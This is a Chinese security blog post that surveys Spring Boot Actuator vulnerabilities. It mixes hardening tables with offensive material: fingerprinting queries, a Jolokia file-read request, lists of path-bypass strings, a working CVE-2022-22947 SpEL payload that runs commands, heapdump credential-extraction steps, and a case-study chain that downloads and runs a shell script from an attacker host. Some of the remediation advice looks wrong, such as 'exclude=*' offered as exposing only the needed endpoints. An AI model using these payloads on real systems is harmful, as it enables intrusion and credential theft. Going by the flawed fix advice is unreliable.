Spring Boot漏洞总结(文末加技术交流群)

Spring Boot漏洞总结(文末加技术交流群)

原创 ashui Rot5pider安全团队 2025-04-27 00:58

点击上方蓝字  关注安全知识

下方加交流群,二维码满了添加:
parkour1998 入群

一、Spring Boot框架识别方法

  1. 图标特征

  2. 默认启动页图标(可通过浏览器开发者工具查看favicon.ico文件hash值)

  3. Spring Boot Actuator默认路径暴露(/actuator/**)

  4. 报错页面特征

  5. Whitelabel Error Page
    (默认错误页,含关键特征字符串error
    和status=404

  6. Favicon.ico文件校验(通过icon_hash=”116323821″
    快速定位)


1. 自动化识别技术

  1. FOFA语法增强
    :“`
    icon_hash=”116323821″ && body=”Whitelabel Error Page” || header=”X-Application-Context”


1. **Shodan关键词**  
:"Spring-Boot-Actuator""Spring-Boot-Version"  

#### 二、Spring Boot Actuator未授权访问漏洞  

**漏洞原理**  
Actuator默认暴露监控端点(如/health  
、/env  
),若未配置安全措施(如Spring Security),攻击者可直接访问敏感接口。  

**版本差异与防御现状**  
- **Spring Boot < 1.5.0**  
:所有端点默认开放  

- **Spring Boot >= 1.5.0**  
:仅开放/health  
和/info  
(但实际环境中常因配置疏忽导致全开放)  

**新增攻击面**  
- **Jolokia端点**  
(/jolokia):暴露JMX管理接口,可执行任意Java代码```
POST /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL HTTP/1.1
Content-Type: application/json
{"url":"file:///etc/passwd"}

防御加固方案
1. 最小化暴露端点:management.endpoints.web.exposure.include=health,info

  1. 启用认证:management.security.enabled=true

  2. IP白名单限制:management.server.address=127.0.0.1

  3. 日志监控:记录Actuator访问日志并设置告警

三、高级挖掘技巧

1. 端点隐藏与绕过
路径混淆
:利用Spring Boot路径匹配规则绕过防护“`
GET /actuator/..;/env HTTP/1.1  # 利用路径分隔符绕过
GET /actuator/%2e%2e/env HTTP/1.1  # URL编码绕过



![](https://mmbiz.qpic.cn/sz_mmbiz_png/OMTnCvx3T1Jr8c5HiciciaPZrAP9Yson2p82pDn9xnnUET5l2UkV1pNlvI59m5y7mMpQSQ3CsiamZ6PuBJV3fq9gjA/640?wx_fmt=png&from=appmsg "")  
有的会将 actuator 修改为其他路径,如http://example.com/manager(某 8SRC 真实案例)  

![](https://mmbiz.qpic.cn/sz_mmbiz_png/OMTnCvx3T1Jr8c5HiciciaPZrAP9Yson2p8VH0kUtkvQqX7Dw3ecWDSZZ5HqicGYZY7GibxosvhzVdrfNXGASbc2JNw/640?wx_fmt=png&from=appmsg "")  
actuator 的列表里虽然只显示了 info 和 health,但手动拼接/heapdump 或/env,可以下载 heapdump 和查看 env,还可以尝试加入绕过手法 如 http://example.com/actuator/;/env 等(下方也会给出绕过方法)![](https://mmbiz.qpic.cn/sz_mmbiz_png/OMTnCvx3T1Jr8c5HiciciaPZrAP9Yson2p8clFHxjUKc4OE17a9SCmKMfdwzlDhcIsRyZPewR5o98975v2ucWSoiag/640?wx_fmt=png&from=appmsg "")  
这种情况是,网站存在登录的功能,登录前访问http://example.com/actuator/env,网页响应码为 404 或 403,登陆后便可正常访问和下载 在挖掘的过程中可借助工具辅助进行指纹识别和路径扫描: https://docs.ezreal.cool/docs/intro/ https://github.com/AabyssZG/SpringBoot-Scan  

**2. 命令注入与RCE**  
- **Gateway组件RCE(CVE-2022-22947)**  

- 获取路由列表:GET /actuator/gateway/routes  

- 注入恶意路由:```
curl -X POST \
     -H "Content-Type: application/json" \
     -d '{"route_id":"attack","uri":"lb://malicious-service","predicates":[{"name":"Path","args":{"pattern":"/test"}}],"filters":[{"name":"RewritePath","args":{"regexp":"/test/(?<segment>.*)","replacement":"/${segment}/../../../../../../../../etc/passwd"}}]}" \     http://target:8080/actuator/gateway/routes
  • 触发请求:GET /test
     → 读取/etc/passwd
    同样是端点泄露,但该 RCE 漏洞需要 refresh 和 gateway 两个端点

访问/actuator/gateway/routes获取路由信息,确认服务开启

构造包含恶意SpEL表达式的路由,执行了whoami命令

{
    "id": "hacker",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "name": "Result",
                "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
            }
        }
    ],
    "uri": "http://example.com"
}


构造post请求/actuator/gateway/refresh以刷新路由,注意请求方式,路径,Content-Type,响应200即成功,不成功就多刷新几次


还是访问/actuator/gateway/routes,获取路由信息,可见新增的路由已经存在,且whoami命令已经执行

或者构造get请求,路径为/actuator/gateway/routes/hacker,即可查看指定的路由信息


常见端点及其作用 以下是整理后的Spring Boot Actuator端点表格,按功能分类并补充安全建议:

Spring Boot Actuator端点概览表

路径
功能描述
安全风险
默认状态
安全建议
/auditevents
显示应用的审计事件(如用户登录、权限变更等)
泄露敏感操作记录
需显式启用
仅限内部访问,限制日志敏感字段
/beans
列出所有Spring Beans及其依赖关系
暴露系统内部组件结构,可能被用于攻击面分析
需显式启用
生产环境禁用
/conditions
分析自动配置类的生效状态(如数据库驱动是否加载成功)
泄露数据库配置细节
需显式启用
临时排查问题时使用
/configprops
展示所有@ConfigurationProperties配置项(如数据库、Redis连接信息)
直接暴露敏感配置(密码、密钥等)
需显式启用
过滤敏感字段,禁用未认证访问
/env
获取环境变量、JVM参数、系统属性等
泄露云平台凭证(AK/SK)、数据库密码
需显式启用
禁用未认证访问,过滤敏感键名(如passwordsecret
/flyway
显示Flyway数据库迁移历史(SQL脚本版本)
暴露数据库架构变更记录
需显式启用
生产环境禁用
/health
显示应用健康状态(数据库连通性、磁盘空间等)
未认证时可能暴露服务状态细节
默认启用
生产环境启用认证,自定义健康检查指标
/info
展示自定义应用信息(如版本号、构建时间)
泄露敏感版本信息(如已知漏洞版本)
默认启用
仅暴露非敏感信息
/liquibase
显示Liquibase数据库迁移记录
/flyway
需显式启用
生产环境禁用
/metrics
提供性能指标(CPU、内存、HTTP请求统计)
暴露系统负载信息,可能被用于DDoS评估
默认启用
限制高频访问,禁用敏感指标
/mappings
列出所有@RequestMapping路径(API接口清单)
暴露未公开API或敏感接口
需显式启用
生产环境禁用
/scheduledtasks
显示定时任务调度信息
暴露自动化任务的执行逻辑
需显式启用
仅限内部监控
/sessions
管理会话(查看、删除用户会话)
攻击者可强制踢出用户或伪造会话
需显式启用
启用CSRF保护,限制会话管理权限
/shutdown
优雅关闭应用
远程关机导致服务不可用
默认禁用
务必禁用

(设置management.endpoint.shutdown.enabled=false
/threaddump
生成线程转储文件
暴露线程执行栈,可能泄露敏感业务逻辑
需显式启用
限制访问频率
/heapdump
导出堆内存快照
包含敏感对象(如数据库连接池、密钥缓存)
需显式启用
禁用未认证访问,定期清理.hprof文件
/jolokia
通过HTTP暴露JMX MBeans
允许远程执行任意JVM操作(如类加载、线程中断)
需显式启用
禁用默认暴露,配置ACL和HTTPS
/logfile
获取日志文件内容
暴露日志中的敏感数据(用户凭证、API密钥)
需显式启用
日志脱敏处理,限制文件大小和访问权限
/prometheus
提供Prometheus监控指标
暴露监控数据,可能被用于攻击决策
需显式启用
仅对监控系统开放,使用专用网络隔离

3. 敏感数据泄露链
JWT密钥窃取→权限提升

  • 介绍:heapdump 是内存转储,可能存在用户名、密码哈希值、数据库连接凭据、HTTP会话缓存、jwt 密钥、api key、ftp password、云 ak/sk等等各种敏感信息 工具:

  • 通过/actuator/env
    获取spring.security.oauth2.resourceserver.jwt.jwk-set-uri

  • 下载JWK密钥:curl http://target/jwk-set-uri

  • 使用密钥伪造管理员Token

https://github.com/whwlsfb/JDumpSpider

https://github.com/wyzxxz/heapdump_tool

利用方法: 访问 http://example.com/actuator/heapdump 下载 heapdump 文件,使用工具获取敏感信息


各种数据源信息,若 IP 为外网地址,可尝试使用 Navicat 进行连接。


Nacos jwt secret,配合打 Nacos 权限绕过


用户名和密码信息,密码可尝试 md5 解密,也可以提取用户名,进行密码碰撞


AKSK 就先判断归属,后使用对应工具进行连接(下图来源于某 SRC 核心双倍积分期间挖到的 heapdump,但重复了。。。)


env绕过手法

/A/B/C/.;/..;/.;/actuator/
/A/B/C/.;./.;./.;/actuator/
/A/B/C?action=/actuator
/%61%63%74%75%61%74%6f%72
/actuator/.
/actuator..
/actuator//
/actuator/..
/;/actuator
//;//actuator
/ACTUATOR
/A/B/C/..;/..;/..;/actuator.css
/A/B/C/..;/..;/..;/actuator.jpg
/A/B/C/..;/..;/..;/actuator.js
/A/B/C/..;/..;/..;/actuator.json
/A/B/C/..;/..;/..;/actuator.css/
/A/B/C/..;/..;/..;/actuator.jpg/
/A/B/C/..;/..;/..;/actuator.js/
/A/B/C/..;/..;/..;/actuator.json/

四、工具与资源整合

1. 自动化检测工具
ActuatorScanner
:“`
git clone https://github.com/0xbug/ActuatorScanner.git
pip install -r requirements.txt
python3 scanner.py -u http://target -t 100

“`

  • Cloud Snooper

    支持Nacos/Apollo配置中心敏感信息提取

2. 内存分析神器
JVM-Sandbox
:动态Hook JVM进程,实时监控/heapdump
下载行为

  • Repeater
    (Burp Suite插件):自动化重放heapdump下载请求

五、典型漏洞案例

案例1:某政务系统通过Actuator获取数据库凭证
– 漏洞路径:/actuator/env
泄露spring.datasource.password

  • 利用方式:直接使用明文密码登录数据库

  • 影响范围:20万+公民个人信息泄露

案例2:电商后台通过Jolokia执行命令
– 攻击链路:POST /jolokia/exec/java.lang.Runtime/exec(“wget http://attacker/shell.sh -O /tmp/shell.sh”)POST /jolokia/exec/java.lang.Runtime/exec(“/bin/bash /tmp/shell.sh”)

  • 防御失效点:未配置Jolokia访问控制

六、修复建议清单

  1. 最小权限原则

  2. 仅暴露必要端点:management.endpoints.web.exposure.exclude=*

  3. 传输加密

  4. 强制HTTPS:server.ssl.enabled=true

  5. 审计与监控

  6. 记录Actuator访问日志:management.endpoint.health.show-details=always

  7. 容器化安全

  8. 禁用Docker/Kubernetes健康检查端点暴露

七、延伸威胁场景

  • 供应链攻击
    :通过Actuator获取构建工具配置(如Maven私服凭证)

  • 横向移动
    :利用/actuator/refresh
    触发配置更新,植入恶意中间件

  • 持久化威胁
    :通过/logfile
    写入后门文件

【限时
6
折!华普安全研究星球:以
原创实战
为主+SRC/内网渗透核心资源库,助你在漏洞挖掘、SRC挖掘少走90%弯路】当90%的网络安全学习者还在重复刷题、泡论坛找零散资料时,华普安全研究星球已构建起完整的「攻防实战知识生态」:

✅ 原创深度技术文档(独家SRC漏洞报告/代码审计报告)

✅ 实战中使用到的工具分享

✅ 全年更新SRC挖掘、代码审计报告(含最新0day验证思路)

✅ 漏洞挖掘思维导图

✅内部知识库目前建设中、后续进入圈子免费进入


实战为王
】不同于传统课程的纸上谈兵!!

图片
图片
图片
图片
图片
图片

图片

扫码技术交流群,禁止广告,一起维护一个好的交流环境

往期精选

围观

PHP代码审计学习

丨更多

热文

浅谈应急响应

丨更多

·end·

—如果喜欢,快分享给你的朋友们吧—

我们一起愉快的玩耍吧

【免责声明】

“Rot5pider安全团队”作为专注于信息安全技术研究的自媒体平台,致力于传播网络安全领域的前沿知识与防御技术。本平台所载文章、工具及案例均用于合法合规的技术研讨与安全防护演练,严禁任何形式的非法入侵、数据窃取等危害网络安全的行为。所有技术文档仅代表作者研究过程中的技术观察,不构成实际操作建议,更不作为任何法律行为的背书。